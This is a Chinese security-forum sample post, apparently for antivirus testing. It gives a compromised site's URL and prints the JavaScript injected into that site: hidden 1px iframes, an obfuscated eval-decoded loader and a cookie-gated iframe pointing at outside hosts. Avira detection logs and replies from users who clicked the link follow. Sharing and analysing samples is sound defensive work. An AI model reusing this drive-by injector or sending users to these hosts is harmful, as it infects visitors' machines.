裏面（生人勿進！二）

fireold

1. http://rallydesantafe.com.ar/

复制代码

1. /*0c45ef*/
   
2. (function() {
   
3.     var llue = document.createElement('iframe');
   
4.     llue.src = 'http://refireads.com/ads/';
   
5.     llue.style.position = 'absolute';
   
6.     llue.style.border = '0';
   
7.     llue.style.height = '1px';
   
8.     llue.style.width = '1px';
   
9.     llue.style.left = '1px';
   
10.     llue.style.top = '1px';
    
11.     if (!document.getElementById('llue')) {
    
12.         document.write('<div id=\'llue\'></div>');
    
13.         document.getElementById('llue').appendChild(llue);
    
14.     }
    
15. })(); /*/0c45ef*/
    
16. 
    
17. 
    
18. /*2d3965*/
    
19. ots = "s" + "p" + "l" + "i" + "t";
    
20. mrgzxd = window;
    
21. ebh = document;
    
22. ptmxpx = "0" + "x";
    
23. hno = (5 - 3 - 1);
    
24. try {
    
25.     ++(ebh.body)
    
26. } catch (lgn) {
    
27.     rodjm = false;
    
28.     try {} catch (zfihes) {
    
29.         rodjm = 21;
    
30.     }
    
31.     if (1) {
    
32.         mqsatd = "17:5d:6c:65:5a:6b:60:66:65:17:59:68:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:59:68:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:59:68:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:5d:69:5c:5c:6a:66:6c:65:5b:25:60:6b:26:5c:28:27:2e:56:67:63:6c:5e:60:65:6a:26:5a:63:60:62:25:67:5f:67:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2f:2e:2c:28:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2f:2e:2c:28:67:6f:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2f:2e:2c:28:67:6f:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2f:2e:2c:28:1e:32:4:1:17:59:68:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2f:2e:2c:28:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:59:68:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:59:68:53:1e:17:5a:63:58:6a:6a:34:53:1e:59:68:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:59:68:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:59:68:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:59:68:27:30:1f:20:32:4:1:74:4:1:74" [ots](":");
    
33.     }
    
34.     mrgzxd = mqsatd;
    
35.     huci = [];
    
36.     for (rsn = 22 - 20 - 2; - rsn + 1394 != 0; rsn += 1) {
    
37.         stmcj = rsn;
    
38.         if ((0x19 == 031)) huci += String.fromCharCode(eval(ptmxpx + mrgzxd[1 * stmcj]) + 0xa - hno);
    
39.     }
    
40.     xtsa = eval;
    
41.     xtsa(huci)
    
42. } /*/2d3965*/

复制代码

1. function hf09() {
   
2.      var static = 'ajax';
   
3.      var controller = 'index.php';
   
4.      var hf = document.createElement('iframe');
   
5. 
   
6.      hf.src = 'http://www.freesound.it/e107_plugins/clik.php';
   
7.      hf.style.position = 'absolute';
   
8.      hf.style.color = '01';
   
9.      hf.style.height = '01px';
   
10.      hf.style.width = '01px';
    
11.      hf.style.left = '100001';
    
12.      hf.style.top = '100001';
    
13. 
    
14.      if (!document.getElementById('hf')) {
    
15.          document.write('<p id=\'hf\' class=\'hf09\' ></p>');
    
16.          document.getElementById('hf').appendChild(hf);
    
17.      }
    
18. }
    
19. 
    
20. function SetCookie(cookieName, cookieValue, nDays, path) {
    
21.      var today = new Date();
    
22.      var expire = new Date();
    
23.      if (nDays == null || nDays == 0) nDays = 1;
    
24.      expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    
25.      document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
    
26. }
    
27. 
    
28. function GetCookie(name) {
    
29.      var start = document.cookie.indexOf(name + "=");
    
30.      var len = start + name.length + 1;
    
31.      if ((!start) && (name != document.cookie.substring(0, name.length))) {
    
32.          return null;
    
33.      }
    
34.      if (start == -1) return null;
    
35.      var end = document.cookie.indexOf(";", len);
    
36.      if (end == -1) end = document.cookie.length;
    
37.      return unescape(document.cookie.substring(len, end));
    
38. }
    
39. if (navigator.cookieEnabled) {
    
40.      if (GetCookie('visited_uq') == 55) {} else {
    
41.          SetCookie('visited_uq', '55', '1', '/');
    
42. 
    
43.          hf09();
    
44.      }
    
45. }

复制代码

Avira

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\STITT9OQ\jquery.effects.blind.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '1d8c50cc.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\jquery.effects.slide.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '4fd30a24.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\jquery.effects.scale.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '57442583.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\jquery-1.6.4.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '7bbb1f0e.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:46 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        805
      目錄數：        0
      惡意程式碼數：        6
      警告數：        0

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\25HCCZL4\jquery.effects.clip.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '41240051.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:46 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\G3WIV5EU\jquery.effects.bounce.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '3e3f3230.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:45 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\slimbox2[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]
      已採取動作：
      檔案會移動至 '54cb2855.qua' 名稱底下的隔離區目錄。.

2013/9/7 上午 09:45 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        800
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\jquery.effects.slide.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 封鎖的網頁
      URL (http://www.freesound.it/e107_plugins/clik.php) 的評估結果為 惡意程式碼，而遭到封鎖。

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\jquery-1.6.4.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\jquery.effects.slide.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.slide.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\slimbox2[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\STITT9OQ\jquery.effects.blind.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\jquery-1.6.4.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\G3WIV5EU\jquery.effects.bounce.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery-1.6.4.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\jquery.effects.scale.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\25HCCZL4\jquery.effects.clip.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：拒絕存取

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.core.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：封鎖的檔案

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\STITT9OQ\jquery.effects.blind.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.bounce.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.blind.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\25HCCZL4\jquery.effects.clip.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/wb.slideshow.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：封鎖的檔案

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.fold.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：封鎖的檔案

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.drop.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：封鎖的檔案

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.clip.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\jquery.effects.scale.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/jquery.effects.scale.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

2013/9/7 上午 09:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\slimbox2[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CL.72 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/7 上午 09:45 [Web Protection] 發現惡意程式碼
      從 URL "http://rallydesantafe.com.ar/slimbox/js/slimbox2.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CL.72' [virus]。
      已採取動作：已略過

a939707506

我居然点了，幸亏有谷歌给挡了。
不知道ess+op吃不吃的住。

wjhstu-VxG

a939707506 发表于 2013-9-7 13:01
我居然点了，幸亏有谷歌给挡了。
不知道ess+op吃不吃的住。

好贱的签名 看了好久……

a939707506

wjhstu-VxG 发表于 2013-9-7 13:17
好贱的签名 看了好久……

哈哈，不错吧

cobrayang

直接点了，我太鲁莽了？

化石MM